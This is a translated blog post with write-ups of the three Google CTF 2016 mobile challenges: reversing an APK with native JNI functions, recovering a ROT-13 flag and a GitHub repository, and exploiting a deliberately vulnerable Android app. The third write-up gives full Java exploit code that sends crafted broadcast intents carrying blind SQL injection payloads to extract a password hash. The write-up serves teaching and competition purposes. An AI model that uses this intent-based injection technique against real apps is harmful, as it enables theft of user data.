Parsing tasks with Google CTF 2016: Mobile



    Intro


    Google Capture The Flag 2016, the first organized by Google’s flag capture competition, ended yesterday . The competition lasted two days, during which it was necessary to squeeze out as many flags as possible from the proposed tasks. The format of the competition is task-based / jeopardy .

    According to Google, the tasks for this CTF were made by people who are employees of the Google security team. Therefore, the interest in these tasks, as well as in the first GCTF as a whole, was quite large - in total ~ 2500 teams were registered, of which, however, only 900 scored at least 5 points in solving tasks (let’s drop the bots and a few attempts to play dishonestly). Anyone could take part, starting from rookie and security lovers and ending with industry legends. In addition, it was possible to participate alone.

    For the most part from 2 days I was picking tasks of the Mobile category. And in this hub writeups of all tasks of this category are presented. Google offered only 3 tasks for Mobile (in others it was 5-6), but from this they were, perhaps, even better.

    Well, the water is over, let's get to the point :)



    1. Ill Intentions



    Task sounds like this:

    Do you have have ill intentions?
    Ill Intentions.APK


    On a difficulty scale of 5 to 300, 150 points were offered for the successful solution of this task.

    So, before us is the APK and nothing more. The first thing that comes to mind is installing the package on an emulator and decompiling the package. This is what we will do.
    Here and below we will not dwell on the technical details, but it’s still worth saying that recently it became possible to make a decompile using the fully automated APK Studio GUI-tool . With it, you can automate the process of decompilation and subsequent assembly + signature APK. It is clear that the whole “automaton” is built on the same bundle apktool + dex2jar + (java decompiler, for example jd). But I prefer the “old-fashioned” and decompile the APK in semi-manual mode aka “apktool + dex2jar + jd-gui + (set of my scripts)”.

    We’ll try to set the “bad intentions” on the emulator by looking at the minimum version of the Android SDK:



    I have emulators with the sixth android (Marshmallow) and I didn’t have version 1 below, so I decided to go the other way: convert the low-level Smali code to Java code (classes.dex -> JAR`nik) and reconstruct the application from the java sources. However, not everything turned out to be so sweet.

    If you look at the application manifest:



    then you can see 4 activities, the first of which is of no interest, and the next 3 clearly say in their own names that they are involved in the flag. Having looked at any of those three in the reconstructed Java code, you can see an interesting thing:



    And the thing is that the routine for calculating the flag is partially moved to a lower code level - to the JNI level.
    Well, your hands itch right away to find the computeFlag () function in the native C ++ code . To do this, we need to disassemble the native library (.so) hello-jni.
    But what is there (or rather, what is not there) will not please: the



    IDA does not say a word about computeFlag () in the library ... and in Java code there is no call to this function anywhere - only import.
    We conclude that the guys from Google in this way just paused =)

    Returning to the idea of ​​reconstructing the application (creating your own identical APK). Migration of Java-code and its “pre-reconstruction” is not a problem, but what really can create them is the import of native functions. Their names were already higher, here they are:

    • Java_com_example_application_IsThisTheRealOne_perhapsThis
    • Java_com_example_application_ThisIsTheRealOne_orThat
    • Java_com_example_application_DefinitelyNotThisOne_definitelyNotThis


    The last function speaks for itself (banter from Google has already ended) - if you disassemble it and look, you can see that a static line is returned from it - “Told you so!” Therefore, we immediately forget about it.

    The names of native functions contain the name of the package + the name of the class from which (and only from which) they can be called in Java-code; otherwise, an error will occur at the stage of calling the function from the higher-level code. Therefore, the restored application must exactly repeat the names used in the original APK, and the call to native JNI functions should come from the corresponding Java classes.

    Knowing this, we are restoring the code. The code of the class ThisIsTheRealOne and IsThisTheRealOne are largely identical - only the routine for calculating the string (flag?) In the method of clicking the onClick () button (see above) is different .
    We will modify the code that processes the click by adding the output of the calculated lines to the Android application log at its end:

    Log.d("CTF", i.getStringExtra("msg"));
    


    Having assembled the application, you will have to open the activity (ThisIsTheRealOne and IsThisTheRealOne) using the ADB utility AM (activity manager), because the application interface does not allow this in gui mode (although this can be fixed by adding 5 lines of code, but laziness).

    Here is a calculated line from the activity of ThisIsTheRealOne: And here is from IsThisTheRealOne: Together with the flag, which says that Google is not joking. Banter again? :)

    KeepTryingThisIsNotTheActivityYouAreLookingForButHereHaveSomeInternetPoints!




    Congratulation!YouFoundTheRightActivityHereYouGo-CTF{IDontHaveABadjokeSorry}




    2. Can you repo it?



    Task sounds like this:

    Do you think the developer of Ill Intentions knows how to set up public repositories?


    On a difficulty scale of 5 to 300, only 5 points were offered for the successful solution of this task.

    During the study of "bad intentions", an Android application resource file containing strings came to hand. There is usually a lot of interesting things there, and this time was no exception: The flag



    is immediately striking , the frequency cryptanalysis of the contents of which shows that this is most likely Caesar's cipher. Indeed, Rot-13 turned out to be, but Google is sticking with those who really think that even 5 points can be given so easily. Make Rot-13 (Rot-13 ()):

    Did you think it would be that easy?


    OK. You have to think, well. You need to find some public repository. Most likely this is GitHub. And in order to find a flag on its open spaces, you need something truly unique (the name of the user or repository). Right under the flag is precisely what can be so “truly unique”: Simple googling does not give results, which at first is somehow exhausting ... but, going to the github and searching for “l33tdev42” there, we stumble upon a unique user: Which has 1 single project with 3 commits ... the project is rustic, and there are three as many commits: Inside the last one is the right flag: To admit, 5 points is still not enough for such a task ...

    l33tdev42














    ctf{TheHairCutTookALoadOffMyMind}



    This was the very first task from Mobile, which was able to drag. After it, it seemed that in tasks for 150 or more there were, in principle, unsolvable tasks, but, as already mentioned, Google is joking :)

    3. Little Bobby Application



    Task sounds like this:

    Find the vulnerability, develop an exploit, and when you're ready,
    submit your APK to bottle-brush-tree.ctfcompetition.com .
    Can take up to 15 minutes to return the result.

    BobbyApplication_CTF.apk

    Link:
    Upload an APK, wait a bit for your target to load your malicious APK, and get the logs ...


    On a difficulty scale of 5 to 300, 250 points were offered for the successful solution of this task.

    You need to find the vulnerability in the Android application, write an exploit and use this exploit to get the flag out of the real user. Analysis of the exploit's health occurs on the emulator on the server. After an average of 13 minutes, the log of the exploit application returns to which you can write anything you want, but it’s better to write a flag there, of course.
    At first glance it’s scary, but do not forget that Google likes to joke.

    Here's what a Bobby application looks like:



    A simple form for authorization and the ability to register. Well, decompile time!
    Decompilation showed that the application uses Sqlite to store data with an interestingly designed Users table:



    The flag says that injection is all that needs to be done to get the flag.
    The dynamic part of the flag is md5 from the user's password. It is this hash that needs to be dragged out using an exploit in order to “collect” the final flag.

    We are looking for vulnerability.

    This process went fast enough. The application contained only 8 classes and finding the vulnerable module was not a problem. The vulnerability was as follows: at startup, the application registered a receiver of broadcast events received from outside:



    The Broadcast inheritor class, which contained the following code, was the handler of the incoming broadcasts,



    but the implementation of the checkLogin () method from the body of the incoming broadcast's handler was:



    As you can see, neither the method nor the Broadcast handler filters the incoming data, which is then used to generate a “raw” SQL query to the database.
    Manual operation showed that there really is a security hole that allows you to modify the request through the form.

    Obviously, we are facing the Blind SQLi vulnerability - the checkLogin () method returns static strings independent of input.
    Nevertheless, depending on the number of records selected by the query (which can be controlled by the exploit), we can control the behavior of this method by sucking out 1 bit of information about any field of the database table with each malicious request (and about the database itself and generally about anything), but we are interested in the password field, as mentioned above, for the "assembly" of the flag.

    We are writing an exploit.

    Exploit Algorithm:

    1. Launch a Bobby application so that it triggers a broadcast event receiver
    2. Generate malicious intent for the receiver with "evil" data inside
    3. Send a broadcast event with an intent containing malicious data
    4. Receive a response from the receiver of a Bobby application about the result
    5. Repeat until all the necessary data is symbolically "sucked out"


    Two classes were enough to implement the exploit. The code turned out to be small, so it is shown below:

    Main exploit activity:

    public class Main extends Activity {
        // Поиск символов по всей таблице символов Unicode
        static int L = 0, R = (int)Math.pow(2,16);
        public static int symbolNum = 0;
        public static Main activity = null;
        public static StringBuilder flag = new StringBuilder();
        public static void SendBroadcast()
        {        
            if(Main.symbolNum>32)
            {
                Main.Finish();
                return;
            }
            // Формируем вредоносное намерение.
            // Эксплуатация уязвимости будет происходить с использованим бинарного поиска
            int M = (L+R)/2;
            Intent maliciousIntent = new Intent();
            maliciousIntent.setAction("com.bobbytables.ctf.myapplication_INTENT");
            maliciousIntent.putExtra("username", "???\" or unicode(substr(password," + symbolNum + ",1))>" + M + " -- ");
            maliciousIntent.putExtra("password", "1");
            activity.sendBroadcast(maliciousIntent);
        }
        public static void Finish()
        {
            // Выводим в лог найденный флаг
            Log.d("FLAG", Main.flag.toString());
            Main.activity.finish();
        }
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            activity = this;
            // Регистрируем приемник широковещательных событий(ответов) от onReceive() Bobby-приложения
            IntentFilter filter = new IntentFilter("com.bobbytables.ctf.myapplication_OUTPUTINTENT");
            registerReceiver(new MalReceiver(), filter);
            // Запускаем Bobby-приложение
            // (в совершенстве - нужно следить, чтобы в системе был единственный экземпляр)
            PackageManager pm = getPackageManager();
            Intent intent = pm.getLaunchIntentForPackage("bobbytables.ctf.myapplication");
            if (intent != null){
                startActivity(intent);
            }
            // Ждем некоторое время, пока активность вместе с интересующим приемником развернется
            Handler handler = new Handler();
            handler.postDelayed(new Runnable() {
                @Override
                public void run() {
                    SendBroadcast();
                }
            }, 2000);
        }
    }
    


    Bobby response receiver:

    public class MalReceiver extends BroadcastReceiver {
        @Override
        public void onReceive(Context context, Intent intent) {
            // Получаем ответ от Bobby-приложения
            String answer = intent.getStringExtra("msg");
            // SQL TRUE
            if(answer.compareToIgnoreCase("Incorrect password")==0)
            {
                // Ищем дальше
                Main.L = (Main.L + Main.R)/2;
            }
            // SQL FALSE
            else{
                // Ищем дальше
                Main.R = (Main.L + Main.R)/2;
            }
            // Нашли N-ый символ хэша пароля
            if(Main.R-Main.L <= 1)
            {
                Main.flag.append((char)Main.R);
                Main.symbolNum++;
                Main.L = 0; Main.R = (int)Math.pow(2,16);
            }
            Main.SendBroadcast();
        }
    }
    


    After that, it remains only to send the exploit to the server to be tested.
    After 15 minutes ...

    Google returns the long-awaited log, in which we find: It



    remains a trifling matter - to substitute the received hash in the flag: That's all. Now a little about how Google joked over those who tried to solve this task. It was pretty tricky - immediately after the start of the exploit with the Bobby application on the Android emulator, a monkey started on the server

    ctf{An injection is all you need to get this flag - 106b826d7d5ec465b0c5d385a41c6ff6}




    (it was visible in the returned log), which “bombed” all components of the system with random actions, due to which, for example, the exploit activity was shut down from time to time. At first, it was not clear what interrupted the exploit - there were no errors about crashes in the log, it seemed that there was a time limit. Anyway, successfully managed to suck the flag with only 3 attempts.

    In the expo code above is a minimal set of actions demonstrating the general concept.
    What actually happened in practice contains a ton of code to protect against monkeys, to ban the launch of more than 1 receiver instance on the Bobby side, etc.

    Outro


    Since I focused on the security of mobile applications, I hardly managed to fully appreciate the “fun” task from Google, but based on what I had to overcome, I can say for sure that the GCTF turned out to be quite interesting, and in many respects the interest was provided by numerous attempts of banter over the participants. At such moments, when you understand that you have been “beaten up” again, you feel a rush of some kind of “black” motivation =)

    Thank you, Google, it was interesting;)

    Only registered users can participate in the survey. Please come in.

    Have you participated with GCTF 2016?

    • 10.8% Yes 8
    • 64.8% No 48
    • 24.3% No, but I will be next year :( 18

    Also popular now: